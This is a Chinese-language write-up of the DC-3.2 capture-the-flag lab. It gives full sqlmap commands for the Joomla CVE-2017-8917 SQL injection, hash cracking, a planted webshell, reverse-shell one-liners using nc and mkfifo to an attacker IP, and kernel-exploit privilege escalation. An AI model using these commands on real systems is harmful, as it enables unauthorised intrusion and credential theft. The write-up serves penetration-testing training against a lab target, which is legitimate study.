DC-3.2靶机详解
DC-3.2
信息搜集
IP 探测
arp-scan -l
nmap -sn 192.168.179.0/24
netdiscover -r 192.168.179.0/24
目标及 ip 就为 192.168.179.134。
端口探测
nmap -sT --min-rate 10000 -p- 192.168.179.134
就开放了一个 80 端口
再来个详细端口扫描和漏洞脚本扫描
nmap -sT -sV -O -p80 192.168.179.134
nmap --script=vuln -p80 192.168.179.134
这个详细端口扫描没有什么值得注意的。
漏洞脚本扫描中值得注意的是给了个 cve，待会可以仔细看看。剩余的就是一些 dos 和 csrf 了，dos 一般不考虑，还有就是枚举的路由。
网页信息搜集
访问 80 web 服务端口
有个登录框，进行弱口令爆破，发现不行。利用 wappalzyer 插件可以看到 cms 为 joomla
去看看刚刚的 CVE-2017-8917，是个 sql 注入漏洞，可以利用 sqlmap 一把梭了。
漏洞利用
查数据库
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] --dbs
# --batch 启用批处理模式，执行时将不再要求用户进行任何交互，所有可能的提示都会使用默认选项进行处理
# -p 指定要进行注入测试的参数
查出了五个数据库，继续查 joomladb 的表
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb --tables
直接看可疑的 #_users 表中的段名，
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb -T #_users --columns
然后获取账号和密码
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" -C "username,password" --dump
密码是个 hash 密文，利用 john 进行爆破
得到密码，去进行登录一波，
没有什么东西，刚刚的枚举路径又后台路径，同样进行登录
登录后进行功能点测试。
getshell
发现一处文件修改点，把原本的 php 文件中加入一句话
但是访问路径发现没有该文件，发现网站用的是 beez3 模板，
搜索得到文件路径在路径为 /templates/beez3/，访问 http://192.168.179.134/templates/beez3/jsstrings.php
直接蚁剑连接，用户为 www-data，需要提权（不能使用蚁剑提权，因为HTTP是瞬时协议，这边正提权，那边TCP四次挥手断开连接了，不能持久连接，所以蚁剑的作用就在于上传文件来反弹shell。）
利用 nc 进行 shell 反弹
nc -e /bin/bash 192.168.179.130 2333
显示 nc 没有 -e 选项
换个其他的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.130 2333>/tmp/f
反弹 shell 成功后，然后获取交互式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
提权
先查看系统内核
uname -a
然后查看发行版本
lsb_release -a
看到 ubuntu 版本为 16.04，查找相应漏洞
看到有对应的提权漏洞。查看漏洞细节
在靶机 shell 下载 exp 文件
然后就是照着运行里面的脚本就行了，最后获得 flag
总结
cms 漏洞查询，sql 注入
john 爆破密码后台登录
后台修改文件getshell
系统内核漏洞提权
